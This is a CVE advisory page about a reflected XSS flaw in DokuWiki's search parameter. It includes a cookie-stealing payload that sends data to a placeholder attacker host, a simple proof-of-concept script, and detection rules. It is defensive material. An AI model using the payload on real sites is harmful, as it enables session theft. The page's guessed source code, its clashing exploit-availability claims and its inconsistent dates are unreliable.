CVE-2025-61224
Executive Summary
CVE-2025-61224 is a Cross-Site Scripting (XSS) vulnerability discovered in DokuWiki version 2025-05-14a 'Librarian'[56.1]. The flaw resides in the q parameter, allowing a remote attacker to inject arbitrary JavaScript code. With a CVSS score of 6.5 (Medium), this vulnerability can lead to session hijacking, data theft, or defacement. No public exploit code or patch is currently available, but the risk is elevated due to the widespread use of DokuWiki in enterprise documentation environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
DokuWiki is a PHP-based open-source wiki platform. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application. Users should verify the integrity of their DokuWiki installation and monitor for official updates.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): Required (R) – victim must click a crafted link.
- Scope (S): Changed (C) – impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – limited data exposure.
- Integrity (I): Low (L) – limited modification possible.
- Availability (A): Low (L) – limited service disruption.
Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the potential for phishing campaigns make this a significant concern.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the q parameter, likely used for search functionality. When a user visits a crafted URL like:
http://target/doku.php?q=<script>alert('XSS')</script>
The application fails to sanitize the input before rendering it in the response. This allows an attacker to execute arbitrary JavaScript in the context of the victim's session.
Root Cause: Insufficient output encoding of the q parameter in the search results page. The application likely uses echo $_GET['q'] or similar without proper escaping.
Vulnerable vs. Patched Code
Vulnerable Code (inc/search.php or similar):
<?php
$q = $_GET['q'];
echo "<p>Search results for: " . $q . "</p>";
?>
Patched Code (hypothetical):
<?php
$q = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "<p>Search results for: " . $q . "</p>";
?>
The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Deploy DokuWiki 2025-05-14a 'Librarian'[56.1] in a controlled environment.
- Craft Payload: Create a URL with a malicious
qparameter:http://target/doku.php?q=<script>document.location='http://attacker/steal.php?cookie='+document.cookie</script> - Deliver: Send the link via email or social engineering.
- Execute: When the victim clicks, the script executes, exfiltrating cookies to the attacker's server.
Example Exploit (Python):
import requests
target = "http://target/doku.php"
payload = "<script>alert('XSS')</script>"
params = {'q': payload}
response = requests.get(target, params=params)
print(response.text)
Blue Team (Defense & Detection)
- Monitor Logs: Look for unusual
qparameter values containing<script>,onerror, orjavascript:. - WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests with suspicious
qparameters. - User Training: Educate users not to click on suspicious links.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/doku.phpwithqparameter containing<script>oronerrorattributes. - Logs: Web server logs showing
GET /doku.php?q=<script>...entries. - File: Modified
inc/search.phpor similar files if the attacker uploads a backdoor.
Detection Engineering
YARA Rule
rule CVE_2025_61224_XSS {
meta:
description = "Detects XSS attempts against DokuWiki CVE-2025-61224"
author = "Valters IT"
date = "2025-04-01"
strings:
$xss1 = "<script>" nocase
$xss2 = "onerror=" nocase
$xss3 = "javascript:" nocase
$param = "q=" nocase
condition:
$param and ($xss1 or $xss2 or $xss3)
}
Sigma Rule
title: DokuWiki CVE-2025-61224 XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts via the q parameter in DokuWiki
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
c-uri|contains: '/doku.php'
cs-uri-query|contains: 'q='
cs-uri-query|contains|any:
- '<script>'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate search queries containing these strings (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-61224 DokuWiki XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/doku.php"; http_uri; content:"q="; http_uri; pcre:"/(<script|onerror|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Apply input validation and output encoding to the
qparameter. Usehtmlspecialchars()in PHP. - Short-term: Deploy a WAF with rules to block XSS patterns.
- Long-term: Monitor the DokuWiki project for an official patch. Consider switching to a maintained fork if no patch is released.
- User Education: Train users to avoid clicking on untrusted links.
Valters IT – Securing your digital frontier.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.